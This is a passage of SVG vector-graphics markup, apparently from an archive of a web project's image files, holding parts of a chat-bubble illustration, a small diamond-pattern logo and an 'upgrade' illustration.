      <path id="Path_85" data-name="Path 85" d="M146.02,137.24l-22.09-21.73-5.77.05h-.23A27.7,27.7,0,0,1,90.27,88.13l-.25-30.32a27.656,27.656,0,0,1,27.43-27.89l57.05-.47a27.656,27.656,0,0,1,27.89,27.43l.25,30.32a27.7,27.7,0,0,1-27.43,27.89l-7.46.06-21.73,22.09Zm-21.68-22.73,21.67,21.31,21.31-21.67,7.87-.07A26.692,26.692,0,0,0,201.63,87.2l-.25-30.32A26.649,26.649,0,0,0,174.5,30.44l-57.05.47A26.649,26.649,0,0,0,91.01,57.79l.25,30.32a26.7,26.7,0,0,0,26.66,26.44h.22l6.19-.05Z" fill="#9fbfff"/>
      <path id="Path_86" data-name="Path 86" d="M125.47,77.39a7.1,7.1,0,1,1-3.53-9.4A7.1,7.1,0,0,1,125.47,77.39Z" fill="#fff"/>
      <path id="Path_87" data-name="Path 87" d="M119,82.05a7.612,7.612,0,1,1,6.93-4.46A7.551,7.551,0,0,1,119,82.05Zm.02-14.2a6.6,6.6,0,1,0,2.72.59,6.608,6.608,0,0,0-2.72-.59Z" fill="#9fbfff"/>
      <path id="Path_88" data-name="Path 88" d="M152.65,76.61a7.1,7.1,0,1,1-3.53-9.4A7.1,7.1,0,0,1,152.65,76.61Z" fill="#fff"/>
      <path id="Path_89" data-name="Path 89" d="M146.18,81.28a7.507,7.507,0,0,1-3.14-.69,7.615,7.615,0,0,1-3.78-10.07,7.588,7.588,0,1,1,6.91,10.75Zm.01-14.21a6.6,6.6,0,1,0,2.31,12.78,6.547,6.547,0,0,0,3.69-3.45h0a6.6,6.6,0,0,0-6-9.33Z" fill="#9fbfff"/>
      <path id="Path_90" data-name="Path 90" d="M179.16,75.85a7.1,7.1,0,1,1-3.53-9.4A7.1,7.1,0,0,1,179.16,75.85Z" fill="#fff"/>
      <path id="Path_91" data-name="Path 91" d="M172.69,80.52a7.6,7.6,0,1,1,6.95-4.45h0a7.611,7.611,0,0,1-6.93,4.46Zm.02-14.2a6.6,6.6,0,1,0,6,9.33h0a6.6,6.6,0,0,0-6-9.33Zm6.46,9.54Z" fill="#9fbfff"/>
      <path id="Path_92" data-name="Path 92" d="M196.26,122.95l-3.01.02a13.679,13.679,0,0,1-13.79-13.56l-.13-15.26a13.679,13.679,0,0,1,13.56-13.79l28.51-.24a15.043,15.043,0,0,0-2.24-.18l-29.61.25A14.1,14.1,0,0,0,175.57,94.4l.13,15.74c.06,7.79,6.43,15.07,14.21,15l3.62-.03,11.6,10.88L216,124.89h0l-8.73,8.88-11.02-10.83Z" fill="#fff"/>
      <path id="Path_93" data-name="Path 93" d="M205.15,136.71l-11.81-11.08-3.42.02a13.873,13.873,0,0,1-10.37-4.72,16.3,16.3,0,0,1-4.34-10.78l-.13-15.74a14.618,14.618,0,0,1,14.48-14.72l29.61-.25a15.183,15.183,0,0,1,2.32.18l-.07.99-28.51.24a13.179,13.179,0,0,0-13.06,13.29l.13,15.26a13.179,13.179,0,0,0,13.29,13.06l3.22-.03,10.81,10.63,8.38-8.52.71.7h0l-11.21,11.45Zm-11.42-12.08,11.39,10.69,1.47-1.5-10.53-10.36-2.8.02h-.12a14.169,14.169,0,0,1-14.17-14.06l-.13-15.26a14.193,14.193,0,0,1,9.05-13.34,13.611,13.611,0,0,0-11.8,13.59l.13,15.74a15.309,15.309,0,0,0,4.08,10.11,12.833,12.833,0,0,0,9.63,4.4l3.82-.03Z" fill="#9fbfff"/>
      <path id="Path_94" data-name="Path 94" d="M235.41,93.68a13.679,13.679,0,0,0-13.79-13.56h-.21l-28.51.24a13.679,13.679,0,0,0-13.56,13.79l.13,15.26a13.679,13.679,0,0,0,13.79,13.56l3.01-.02,11.02,10.83,8.73-8.88,2.1-2.14,3.86-.03a13.679,13.679,0,0,0,13.56-13.79Z" fill="#fff"/>
      <path id="Path_95" data-name="Path 95" d="M207.28,134.49l-11.22-11.04-2.8.02a14.169,14.169,0,0,1-14.29-14.06l-.13-15.26A14.17,14.17,0,0,1,192.9,79.86l28.72-.24a13.865,13.865,0,0,1,10.06,4.07,14.075,14.075,0,0,1,4.23,9.99h0l.13,15.26a14.17,14.17,0,0,1-14.06,14.29l-3.65.03-11.04,11.23Zm-10.82-12.04,10.81,10.63,10.63-10.81,4.07-.03a13.179,13.179,0,0,0,13.06-13.29l-.13-15.26a13.179,13.179,0,0,0-13.18-13.06h-.11l-28.72.24a13.179,13.179,0,0,0-13.06,13.29l.13,15.26a13.179,13.179,0,0,0,13.29,13.06l3.22-.03Z" fill="#9fbfff"/>
      <path id="Path_96" data-name="Path 96" d="M207.19,116.26a16.683,16.683,0,0,1-5.25-.81,11.441,11.441,0,0,1-4.26-2.49,11.614,11.614,0,0,1-2.85-4.23,16.144,16.144,0,0,1-1.04-6.08,16.657,16.657,0,0,1,1.02-6.08,12.228,12.228,0,0,1,2.9-4.47,12.47,12.47,0,0,1,4.51-2.76,18.813,18.813,0,0,1,11.59-.07,10.93,10.93,0,0,1,4.06,2.52,10.23,10.23,0,0,1,2.42,4.01,16.576,16.576,0,0,1,.79,5.3,10.675,10.675,0,0,1-1.73,6.47,5.971,5.971,0,0,1-5.11,2.33,4.414,4.414,0,0,1-1.57-.26,3.733,3.733,0,0,1-1.14-.67,3,3,0,0,1-.71-.91,3.432,3.432,0,0,1-.31-1.02h-.14a5.6,5.6,0,0,1-2.35,2.02,7.048,7.048,0,0,1-3,.67,4.205,4.205,0,0,1-3.59-1.67,7.334,7.334,0,0,1-1.24-4.47,10.287,10.287,0,0,1,.59-3.57,8.185,8.185,0,0,1,1.68-2.83,7.442,7.442,0,0,1,2.66-1.85,8.983,8.983,0,0,1,3.5-.66,11.926,11.926,0,0,1,2.71.35c.59.14,1.19.32,1.8.53a1.52,1.52,0,0,1,.98,1.71L213,103.11c-.05.3-.09.6-.14.91a5.477,5.477,0,0,0-.07.88,2.142,2.142,0,0,0,.36,1.29,1.5,1.5,0,0,0,1.29.5,2.26,2.26,0,0,0,2.05-1.48,9.266,9.266,0,0,0,.74-4.11,9.5,9.5,0,0,0-2.24-6.7q-2.25-2.415-6.94-2.42a12.4,12.4,0,0,0-4.28.71,8.908,8.908,0,0,0-3.3,2.07,9.341,9.341,0,0,0-2.11,3.35,14.235,14.235,0,0,0,0,9.06,8.467,8.467,0,0,0,2.04,3.14,7.993,7.993,0,0,0,3.04,1.83,11.7,11.7,0,0,0,3.75.59,16.179,16.179,0,0,0,3.16-.36c.76-.16,1.56-.34,2.37-.56a1.512,1.512,0,0,1,1.83.98l.16.49a1.506,1.506,0,0,1-1.04,1.93c-.95.26-1.87.47-2.75.65a20.039,20.039,0,0,1-3.73.4Zm-1.28-9.77a3.325,3.325,0,0,0,2.26-.95,5.194,5.194,0,0,0,1.43-3.02l.52-2.92a1.507,1.507,0,0,0-1.44-1.78h-.02a4.175,4.175,0,0,0-1.9.43,4.318,4.318,0,0,0-1.48,1.21,5.917,5.917,0,0,0-.97,1.83,7.346,7.346,0,0,0-.35,2.3,4.341,4.341,0,0,0,.45,2.09,1.558,1.558,0,0,0,1.48.81Z" fill="#fff"/>
      <path id="Path_97" data-name="Path 97" d="M207.19,116.76a17.077,17.077,0,0,1-5.41-.84,11.7,11.7,0,0,1-7.42-7,16.719,16.719,0,0,1-1.07-6.27,17.141,17.141,0,0,1,1.05-6.26,12.659,12.659,0,0,1,3.02-4.65,13.054,13.054,0,0,1,4.68-2.87,17.661,17.661,0,0,1,6.01-.98,17.871,17.871,0,0,1,5.92.91,11.358,11.358,0,0,1,4.24,2.64,10.893,10.893,0,0,1,2.54,4.2,17.293,17.293,0,0,1,.82,5.46,11.2,11.2,0,0,1-1.82,6.77,6.461,6.461,0,0,1-5.51,2.53,4.936,4.936,0,0,1-1.75-.29,4.022,4.022,0,0,1-1.29-.77,3.48,3.48,0,0,1-.83-1.07c-.04-.09-.08-.17-.12-.26a6,6,0,0,1-2.02,1.5,7.549,7.549,0,0,1-3.21.72,4.666,4.666,0,0,1-3.99-1.88,7.841,7.841,0,0,1-1.34-4.77,11.033,11.033,0,0,1,.62-3.74,8.756,8.756,0,0,1,1.78-3,7.887,7.887,0,0,1,2.83-1.97,10.281,10.281,0,0,1,6.52-.34,17.66,17.66,0,0,1,1.86.55,2.039,2.039,0,0,1,1.31,2.28l-1.25,6.73a5.84,5.84,0,0,0-.06.81,1.649,1.649,0,0,0,.27,1c.14.2.44.29.89.29a1.818,1.818,0,0,0,1.61-1.21,8.854,8.854,0,0,0,.69-3.89,9.04,9.04,0,0,0-2.11-6.36c-1.39-1.5-3.6-2.26-6.57-2.26a11.931,11.931,0,0,0-4.11.68,8.452,8.452,0,0,0-3.12,1.96,8.83,8.83,0,0,0-1.99,3.17,12.515,12.515,0,0,0-.71,4.37,12.109,12.109,0,0,0,.71,4.34,8.162,8.162,0,0,0,1.92,2.96,7.594,7.594,0,0,0,2.85,1.72,11.255,11.255,0,0,0,3.59.56,15.939,15.939,0,0,0,3.06-.35c.74-.15,1.53-.34,2.34-.55a2.015,2.015,0,0,1,2.43,1.31l.16.49a2.051,2.051,0,0,1-.14,1.59,1.988,1.988,0,0,1-1.24.99c-.96.26-1.9.48-2.79.65a20.251,20.251,0,0,1-3.82.41Zm.86-27.87a16.692,16.692,0,0,0-5.67.92,12.209,12.209,0,0,0-4.33,2.65,11.67,11.67,0,0,0-2.78,4.29,16.581,16.581,0,0,0-.99,5.9,16.036,16.036,0,0,0,1,5.89,10.729,10.729,0,0,0,6.8,6.43,16.247,16.247,0,0,0,5.09.79,18.983,18.983,0,0,0,3.63-.39c.87-.17,1.78-.38,2.72-.64a.987.987,0,0,0,.62-.49,1.015,1.015,0,0,0,.07-.8l-.16-.49a1.012,1.012,0,0,0-1.22-.66c-.83.22-1.64.41-2.4.57a16.349,16.349,0,0,1-3.26.37,12.461,12.461,0,0,1-3.91-.61,8.646,8.646,0,0,1-3.23-1.94,9.236,9.236,0,0,1-2.16-3.32,12.872,12.872,0,0,1-.78-4.71,13.384,13.384,0,0,1,.77-4.72,9.882,9.882,0,0,1,2.22-3.53,9.466,9.466,0,0,1,3.48-2.19,12.943,12.943,0,0,1,4.45-.74c3.26,0,5.72.87,7.31,2.58a9.983,9.983,0,0,1,2.38,7.04,9.78,9.78,0,0,1-.8,4.33,2.732,2.732,0,0,1-2.5,1.76,1.962,1.962,0,0,1-1.7-.71,2.671,2.671,0,0,1-.46-1.59,8.025,8.025,0,0,1,.07-.95l.14-.92,1.11-5.85a1.03,1.03,0,0,0-.66-1.15,18.1,18.1,0,0,0-1.75-.52,9.309,9.309,0,0,0-5.91.29,7.077,7.077,0,0,0-2.48,1.72,7.686,7.686,0,0,0-1.57,2.66,10.079,10.079,0,0,0-.56,3.41,6.855,6.855,0,0,0,1.14,4.17,3.7,3.7,0,0,0,3.19,1.47,6.494,6.494,0,0,0,2.79-.63,5.156,5.156,0,0,0,2.14-1.84l.15-.22h.84l.06.43a2.912,2.912,0,0,0,.27.87,2.446,2.446,0,0,0,.59.76,3.082,3.082,0,0,0,.99.58,3.891,3.891,0,0,0,1.39.23,5.445,5.445,0,0,0,4.71-2.13,10.275,10.275,0,0,0,1.63-6.18,16.179,16.179,0,0,0-.77-5.14,9.719,9.719,0,0,0-2.3-3.81,10.333,10.333,0,0,0-3.87-2.4,16.62,16.62,0,0,0-5.58-.85Zm-2.14,18.09a2.053,2.053,0,0,1-1.92-1.07,4.783,4.783,0,0,1-.51-2.33,7.72,7.72,0,0,1,.37-2.45,6.514,6.514,0,0,1,1.05-1.99,4.955,4.955,0,0,1,1.65-1.34,4.714,4.714,0,0,1,2.12-.48,1.949,1.949,0,0,1,1.5.7,2,2,0,0,1,.44,1.66l-.52,2.92a5.734,5.734,0,0,1-1.59,3.31,3.806,3.806,0,0,1-2.6,1.08Zm2.78-8.67a3.749,3.749,0,0,0-1.69.38,4,4,0,0,0-1.32,1.07,5.211,5.211,0,0,0-.88,1.67,6.959,6.959,0,0,0-.32,2.14,3.767,3.767,0,0,0,.39,1.85,1.071,1.071,0,0,0,1.05.55,2.858,2.858,0,0,0,1.93-.82,4.785,4.785,0,0,0,1.28-2.74l.52-2.92a1.023,1.023,0,0,0-.23-.84.92.92,0,0,0-.72-.34Z" fill="#9fbfff"/>
    </g>
    <path id="Path_98" data-name="Path 98" d="M85.22,135.23l-5.98.05a27.176,27.176,0,0,1-27.39-26.94L51.6,78.02A27.169,27.169,0,0,1,78.54,50.63l56.81-.47a28.238,28.238,0,0,0-4.62-.35l-58.81.49A28.006,28.006,0,0,0,44.15,78.53l.26,31.26c.13,15.46,12.77,29.93,28.23,29.8l7.18-.05,23.03,21.62,21.59-22.05h0l-17.35,17.64L85.21,135.23Z" fill="#3a5ce8"/>
    <path id="Path_99" data-name="Path 99" d="M162.97,77.1a27.163,27.163,0,0,0-27.39-26.94h-.24l-56.81.47A27.17,27.17,0,0,0,51.59,78.02l.25,30.32a27.17,27.17,0,0,0,27.39,26.94l5.98-.05,21.88,21.52,17.35-17.64,4.17-4.24,7.67-.06a27.17,27.17,0,0,0,26.94-27.39Z" fill="#4e69ff"/>
    <path id="Path_100" data-name="Path 100" d="M80.09,102.27a7.507,7.507,0,0,1-3.14-.69,7.615,7.615,0,0,1-3.78-10.07,7.59,7.59,0,1,1,6.91,10.76Zm0-14.21a6.65,6.65,0,0,0-2.32.42,6.6,6.6,0,1,0,8.33,8.91h0a6.6,6.6,0,0,0-6.01-9.33Z" fill="#fff"/>
    <path id="Path_101" data-name="Path 101" d="M107.25,101.49a7.6,7.6,0,1,1,6.93-4.45h0a7.611,7.611,0,0,1-6.93,4.46Zm.01-14.21a6.65,6.65,0,0,0-2.32.42,6.614,6.614,0,1,0,2.32-.42Z" fill="#fff"/>
    <path id="Path_102" data-name="Path 102" d="M133.78,100.74a1.381,1.381,0,1,0,0-.01Zm0-14.21a6.65,6.65,0,0,0-2.32.42,6.6,6.6,0,1,0,8.33,8.91h0a6.619,6.619,0,0,0-6.01-9.34Z" fill="#fff"/>
    <path id="Path_103" data-name="Path 103" d="M157.35,143.17l-3.01.02a13.679,13.679,0,0,1-13.79-13.56l-.13-15.26a13.679,13.679,0,0,1,13.56-13.79l28.51-.24a15.043,15.043,0,0,0-2.24-.18l-29.61.25a14.1,14.1,0,0,0-13.98,14.21l.13,15.74c.06,7.79,6.43,15.07,14.21,15.01l3.62-.03,11.6,10.88,10.86-11.09-8.72,8.86-11.02-10.83Z" fill="#e29837"/>
    <path id="Path_104" data-name="Path 104" d="M196.49,113.9a13.679,13.679,0,0,0-13.79-13.56h-.21l-28.51.24a13.679,13.679,0,0,0-13.56,13.79l.13,15.26a13.679,13.679,0,0,0,13.79,13.56l3.01-.02L168.37,154l8.72-8.86,2.12-2.15,3.86-.03a13.679,13.679,0,0,0,13.56-13.79l-.13-15.26Z" fill="#ffb54a"/>
    <path id="Path_105" data-name="Path 105" d="M168.28,136.48a16.683,16.683,0,0,1-5.25-.81,11.441,11.441,0,0,1-4.26-2.49,11.614,11.614,0,0,1-2.85-4.23,16.144,16.144,0,0,1-1.04-6.08,16.657,16.657,0,0,1,1.02-6.08,12.228,12.228,0,0,1,2.9-4.47,12.47,12.47,0,0,1,4.51-2.76,18.813,18.813,0,0,1,11.59-.07,10.93,10.93,0,0,1,4.06,2.52,10.23,10.23,0,0,1,2.42,4.01,16.576,16.576,0,0,1,.79,5.3,10.675,10.675,0,0,1-1.73,6.47,5.971,5.971,0,0,1-5.11,2.33,4.414,4.414,0,0,1-1.57-.26,3.732,3.732,0,0,1-1.14-.67,3,3,0,0,1-.71-.91,3.432,3.432,0,0,1-.31-1.02h-.14a5.6,5.6,0,0,1-2.35,2.02,7.048,7.048,0,0,1-3,.67,4.205,4.205,0,0,1-3.59-1.67,7.334,7.334,0,0,1-1.24-4.47,10.287,10.287,0,0,1,.59-3.57,8.185,8.185,0,0,1,1.68-2.83,7.442,7.442,0,0,1,2.66-1.85,8.983,8.983,0,0,1,3.5-.66,11.926,11.926,0,0,1,2.71.35c.59.14,1.19.32,1.8.53a1.52,1.52,0,0,1,.98,1.71l-1.11,5.84c-.05.3-.09.6-.14.91a5.477,5.477,0,0,0-.07.88,2.142,2.142,0,0,0,.36,1.29,1.5,1.5,0,0,0,1.29.5,2.26,2.26,0,0,0,2.05-1.48,9.266,9.266,0,0,0,.74-4.11,9.5,9.5,0,0,0-2.24-6.7q-2.25-2.415-6.94-2.42a12.4,12.4,0,0,0-4.28.71,8.908,8.908,0,0,0-3.3,2.07,9.341,9.341,0,0,0-2.11,3.35,14.235,14.235,0,0,0,0,9.06,8.467,8.467,0,0,0,2.04,3.14,7.993,7.993,0,0,0,3.04,1.83,11.7,11.7,0,0,0,3.75.59,16.179,16.179,0,0,0,3.16-.36c.76-.16,1.56-.34,2.37-.56a1.512,1.512,0,0,1,1.83.98l.16.49a1.506,1.506,0,0,1-1.04,1.93c-.95.26-1.87.47-2.75.65a20.039,20.039,0,0,1-3.73.4ZM167,126.71a3.325,3.325,0,0,0,2.26-.95,5.194,5.194,0,0,0,1.43-3.02l.52-2.92a1.507,1.507,0,0,0-1.44-1.78h-.02a4.175,4.175,0,0,0-1.9.43,4.318,4.318,0,0,0-1.48,1.21,5.917,5.917,0,0,0-.97,1.83,7.346,7.346,0,0,0-.35,2.3,4.341,4.341,0,0,0,.45,2.09,1.558,1.558,0,0,0,1.48.81Z" fill="#fff"/>
  </g>
</svg>
images/logo-sm.svg000066600000004175151150443020010115 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="176.459" height="110.288" viewBox="0 0 176.459 110.288">
  <g id="Group_1" data-name="Group 1" transform="translate(-824.544 -530.958)">
    <rect id="Rectangle_4" data-name="Rectangle 4" width="31.194" height="31.194" transform="translate(868.659 553.016) rotate(45)" fill="rgba(91,79,185,0.8)"/>
    <path id="Rectangle_11" data-name="Rectangle 11" d="M0,0H31.194V31.194H4a4,4,0,0,1-4-4Z" transform="translate(846.602 575.073) rotate(45)" fill="rgba(91,79,185,0.9)"/>
    <rect id="Rectangle_7" data-name="Rectangle 7" width="31.194" height="31.194" transform="translate(912.774 553.016) rotate(45)" fill="rgba(91,79,185,0.8)"/>
    <rect id="Rectangle_9" data-name="Rectangle 9" width="31.194" height="31.194" transform="translate(890.716 575.073) rotate(45)" fill="rgba(91,79,185,0.9)"/>
    <path id="Rectangle_13" data-name="Rectangle 13" d="M0,0H31.194V27.194a4,4,0,0,1-4,4H0Z" transform="translate(912.774 597.131) rotate(45)" fill="#5b4fb9"/>
    <path id="Rectangle_14" data-name="Rectangle 14" d="M0,0H31.194V27.194a4,4,0,0,1-4,4H0Z" transform="translate(868.659 597.131) rotate(45)" fill="#5b4fb9"/>
    <path id="Rectangle_15" data-name="Rectangle 15" d="M0,0H31.194V27.194a4,4,0,0,1-4,4H0Z" transform="translate(956.889 597.131) rotate(45)" fill="#5b4fb9"/>
    <rect id="Rectangle_10" data-name="Rectangle 10" width="31.194" height="31.194" transform="translate(934.831 575.073) rotate(45)" fill="rgba(91,79,185,0.9)"/>
    <path id="Rectangle_12" data-name="Rectangle 12" d="M0,0H27.194a4,4,0,0,1,4,4V31.194H0Z" transform="translate(978.946 575.073) rotate(45)" fill="rgba(91,79,185,0.9)"/>
    <rect id="Rectangle_8" data-name="Rectangle 8" width="31.194" height="31.194" transform="translate(956.889 553.016) rotate(45)" fill="rgba(91,79,185,0.8)"/>
    <path id="Rectangle_5" data-name="Rectangle 5" d="M3,0H31.194V31.194H0V3A3,3,0,0,1,3,0Z" transform="translate(890.716 530.958) rotate(45)" fill="rgba(91,79,185,0.7)"/>
    <path id="Rectangle_6" data-name="Rectangle 6" d="M3,0H31.194V31.194H0V3A3,3,0,0,1,3,0Z" transform="translate(934.831 530.958) rotate(45)" fill="rgba(91,79,185,0.7)"/>
  </g>
</svg>
images/upgrade.svg000066600000163313151150443020010167 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="345.655" height="290.891" viewBox="0 0 345.655 290.891">
  <g id="upgrade" transform="translate(0.006 0.021)">
    <g id="Group_27" data-name="Group 27">
      <path id="Path_30" data-name="Path 30" d="M73.12,290.87a.493.493,0,0,1-.23-.06.472.472,0,0,1-.2-.65,266.5,266.5,0,0,1,34.09-49.85.482.482,0,0,1,.73.63,266.155,266.155,0,0,0-33.96,49.67A.493.493,0,0,1,73.12,290.87Z" fill="#fff"/>
      <path id="Path_31" data-name="Path 31" d="M61.12,281.4a.46.46,0,0,1-.27-.09.481.481,0,0,1-.12-.67,286.315,286.315,0,0,1,34.3-40.8.481.481,0,1,1,.68.68,285.552,285.552,0,0,0-34.18,40.66.488.488,0,0,1-.4.21Z" fill="#fff"/>
      <path id="Path_32" data-name="Path 32" d="M.48,248.89a.492.492,0,0,1-.48-.41.484.484,0,0,1,.4-.55,279.875,279.875,0,0,0,89.5-29.91.481.481,0,1,1,.45.85A281.059,281.059,0,0,1,.54,248.88H.47Z" fill="#fff"/>
      <path id="Path_33" data-name="Path 33" d="M3.57,281.4a.48.48,0,0,1-.25-.89l85.65-53.02a.48.48,0,1,1,.5.82L3.83,281.32a.475.475,0,0,1-.25.07Z" fill="#fff"/>
    </g>
    <g id="Group_28" data-name="Group 28">
      <path id="Path_34" data-name="Path 34" d="M121.14,121.39a2.72,2.72,0,1,1,2.72,2.72A2.723,2.723,0,0,1,121.14,121.39Z" fill="#fff"/>
      <path id="Path_35" data-name="Path 35" d="M123.85,124.6a3.2,3.2,0,1,1,3.2-3.2A3.2,3.2,0,0,1,123.85,124.6Zm0-5.44a2.24,2.24,0,1,0,2.24,2.24A2.243,2.243,0,0,0,123.85,119.16Z"/>
    </g>
    <g id="Group_29" data-name="Group 29">
      <path id="Path_36" data-name="Path 36" d="M236.54,63.5a2.72,2.72,0,1,1,2.72,2.72A2.723,2.723,0,0,1,236.54,63.5Z" fill="#fff"/>
      <path id="Path_37" data-name="Path 37" d="M239.26,66.7a3.2,3.2,0,1,1,3.2-3.2A3.2,3.2,0,0,1,239.26,66.7Zm0-5.44a2.24,2.24,0,1,0,2.24,2.24,2.243,2.243,0,0,0-2.24-2.24Z"/>
    </g>
    <g id="Group_30" data-name="Group 30">
      <path id="Path_38" data-name="Path 38" d="M243.07,215.67a4.58,4.58,0,1,1,4.58,4.58A4.579,4.579,0,0,1,243.07,215.67Z" fill="#fff"/>
      <path id="Path_39" data-name="Path 39" d="M247.66,220.74a5.07,5.07,0,1,1,5.07-5.07A5.077,5.077,0,0,1,247.66,220.74Zm0-9.17a4.1,4.1,0,1,0,4.1,4.1A4.106,4.106,0,0,0,247.66,211.57Z"/>
    </g>
    <g id="Group_33" data-name="Group 33">
      <g id="Group_31" data-name="Group 31">
        <path id="Path_40" data-name="Path 40" d="M330.66,162.13l-64.41,1.62c-5.95.15-12.52.09-17.01-3.75-5.09-4.36-5.14-13.16-.11-17.56s13.96-3.36,17.82,2.08c-.12-8.8,8.91-16.12,17.89-15.78s16.91,7.06,20.16,15.28c-.63-5.53,6.03-10.01,11.53-8.57s8.99,7.16,9.23,12.72c4.03-5.75,14.3-5.45,18.02.51a8.528,8.528,0,0,1,1.35,5.31c-.41,3.94-4.11,6.93-8.04,7.88s-8.05.29-6.42.26Z" fill="#fff"/>
        <path id="Path_41" data-name="Path 41" d="M263.59,164.28c-5.43,0-10.79-.59-14.66-3.91a12.529,12.529,0,0,1-.11-18.29,12.525,12.525,0,0,1,9.75-2.76,12.783,12.783,0,0,1,7.95,3.9,15.345,15.345,0,0,1,4.76-9.57,18.866,18.866,0,0,1,13.58-5.4c8,.3,15.86,5.83,19.75,13.69a8.383,8.383,0,0,1,2.83-4.64,10.481,10.481,0,0,1,9.21-2.34c5.55,1.46,8.84,6.91,9.49,11.95a11.369,11.369,0,0,1,8.76-3.38,11.091,11.091,0,0,1,9.29,4.87,9.063,9.063,0,0,1,1.42,5.62c-.46,4.42-4.68,7.4-8.41,8.3-2.54.61-6.09.67-7.05.29l-63.87,1.61c-.89.02-1.78.04-2.67.04Zm-6.71-24.09a11.217,11.217,0,0,0-7.43,2.63,11.569,11.569,0,0,0,.1,16.83c4.24,3.64,10.31,3.8,16.68,3.63l64.27-1.62h.15a.508.508,0,0,1,.39.19,19.829,19.829,0,0,0,5.93-.43c3.41-.82,7.27-3.51,7.67-7.46a8.064,8.064,0,0,0-1.28-5.01,10.96,10.96,0,0,0-17.21-.49.483.483,0,0,1-.88-.25c-.21-5-3.33-10.82-8.87-12.27a9.5,9.5,0,0,0-8.34,2.13,6.87,6.87,0,0,0-2.59,5.92.481.481,0,0,1-.36.52.489.489,0,0,1-.57-.29c-3.36-8.51-11.47-14.66-19.73-14.97a17.829,17.829,0,0,0-12.87,5.12,14.02,14.02,0,0,0-4.52,10.18.5.5,0,0,1-.33.47.461.461,0,0,1-.54-.18,11.476,11.476,0,0,0-8.11-4.53,13.905,13.905,0,0,0-1.57-.09Zm73.56,22.44Z"/>
      </g>
      <g id="Group_32" data-name="Group 32" opacity="0.13">
        <path id="Path_42" data-name="Path 42" d="M342.33,156.24l-.02.02a9.543,9.543,0,0,1-2.34,1.62,14.932,14.932,0,0,1-4.84.96c-2.04.11-4.06-.27-6.11-.28-5.47-.02-10.95.14-16.42.06-7.04.09-14.07.18-21.11.33-2.47.1-4.92.34-7.38.51-2.85.18-5.7.27-8.55.44-4.27.09-8.55.42-12.81.12-.69-.06-1.48-.29-2.02.29a1.375,1.375,0,0,0,.97,2.33,59.44,59.44,0,0,0,8.95.21q1.725-.03,3.45-.09a.827.827,0,0,0,.75.44c3.49.28,7.01.13,10.51.25q12.345.42,24.68-.31c3.05-.17,6.1-.26,9.15-.39l3.22-.15a1.149,1.149,0,0,0,.91-.26.819.819,0,0,0,.24-.57c1.96.02,3.93.03,5.89,0,.48,0,.99,0,1.52-.02a.782.782,0,0,0,.39.72,1.564,1.564,0,0,0,.98.06c.59-.05,1.17-.13,1.76-.2a26.161,26.161,0,0,0,3.02-.64,5.689,5.689,0,0,0,1.3-.44.74.74,0,0,0,.33-.59,9.708,9.708,0,0,0,4.2-2.57c.33-.38.87-.7.88-1.25a.869.869,0,0,0-1.47-.61Z"/>
      </g>
    </g>
    <g id="Group_36" data-name="Group 36">
      <g id="Group_34" data-name="Group 34">
        <path id="Path_43" data-name="Path 43" d="M216.64,282.92q18.48.285,36.95-.9a12.363,12.363,0,0,0,4.68-.93c3.64-1.79,4.47-7.38,1.69-10.33s-8.15-2.62-10.76.49c-.25-4.55-3.78-9.02-8.32-9.33a10.176,10.176,0,0,0-7.78,3.36,21.859,21.859,0,0,0-4.36,7.52,4.7,4.7,0,0,0-4.27-3.47,10.032,10.032,0,0,0-5.62,1.52c-2.35,1.29-4.59,3.1-5.47,5.64s.06,6.4,3.27,6.45Z" fill="#fff"/>
        <path id="Path_44" data-name="Path 44" d="M223.76,283.46q-3.57,0-7.13-.05h0a3.712,3.712,0,0,1-3.09-1.64,6.379,6.379,0,0,1-.62-5.45c.79-2.28,2.71-4.26,5.69-5.9a10.167,10.167,0,0,1,5.89-1.57,5.523,5.523,0,0,1,4.24,2.59,20.565,20.565,0,0,1,3.99-6.49,10.644,10.644,0,0,1,8.16-3.5c4.25.29,7.95,4.12,8.66,8.75a8.044,8.044,0,0,1,5.1-1.93,7.452,7.452,0,0,1,5.64,2.18,7.116,7.116,0,0,1,1.66,6.17,6.629,6.629,0,0,1-3.49,4.92,12.736,12.736,0,0,1-4.86.98c-9.89.64-19.91.96-29.86.96Zm-7.11-1.02c12.26.19,24.68-.11,36.91-.9a11.927,11.927,0,0,0,4.49-.88,5.639,5.639,0,0,0,2.96-4.22,6.178,6.178,0,0,0-1.41-5.34,6.488,6.488,0,0,0-4.91-1.88,7.043,7.043,0,0,0-5.14,2.35.488.488,0,0,1-.52.15.472.472,0,0,1-.33-.43c-.25-4.61-3.78-8.59-7.88-8.88a9.679,9.679,0,0,0-7.4,3.21,21.58,21.58,0,0,0-4.26,7.35.491.491,0,0,1-.5.31.478.478,0,0,1-.43-.4c-.32-1.79-2.22-2.92-3.84-3.07a9.32,9.32,0,0,0-5.34,1.46c-2.77,1.52-4.54,3.33-5.25,5.37a5.385,5.385,0,0,0,.5,4.58,2.756,2.756,0,0,0,2.31,1.23h0Z"/>
      </g>
      <g id="Group_35" data-name="Group 35" opacity="0.13">
        <path id="Path_45" data-name="Path 45" d="M261.69,276.12a1.08,1.08,0,0,0-1.61-.79,1.235,1.235,0,0,0-.4.42.3.3,0,0,0-.05.07,4.152,4.152,0,0,1-1.45,1.54c-.77.54-6,1.54-6.73,1.55a64.215,64.215,0,0,1-7.72.31c-1.35-.07-2.7,0-4.05.01-1.48,0-2.97-.08-4.45,0-3.82.12-7.63.43-11.45.65-1.83.02-3.67.09-5.5.15-.61.02-1.22.05-1.83.08a1.217,1.217,0,0,0-.88.37,1.257,1.257,0,0,0,.88,2.13c2.95-.15,5.91-.08,8.86-.18,3.18-.13,6.34-.38,9.52-.39,1.8-.08,3.59.07,5.38.1,1.85-.03,3.71,0,5.56-.02,2.57-.13,4.77-.41,6.72-.68a1.046,1.046,0,0,0,1.3.75,15.189,15.189,0,0,0,4-.91,3.638,3.638,0,0,0,1.58-1.05,1.028,1.028,0,0,0,.08-.91c.22-.15.44-.31.66-.49a4.9,4.9,0,0,0,1.52-2.21.127.127,0,0,1,.01-.06h0a.938.938,0,0,0,.02-.44Z"/>
      </g>
    </g>
    <g id="Group_75" data-name="Group 75">
      <g id="Group_37" data-name="Group 37">
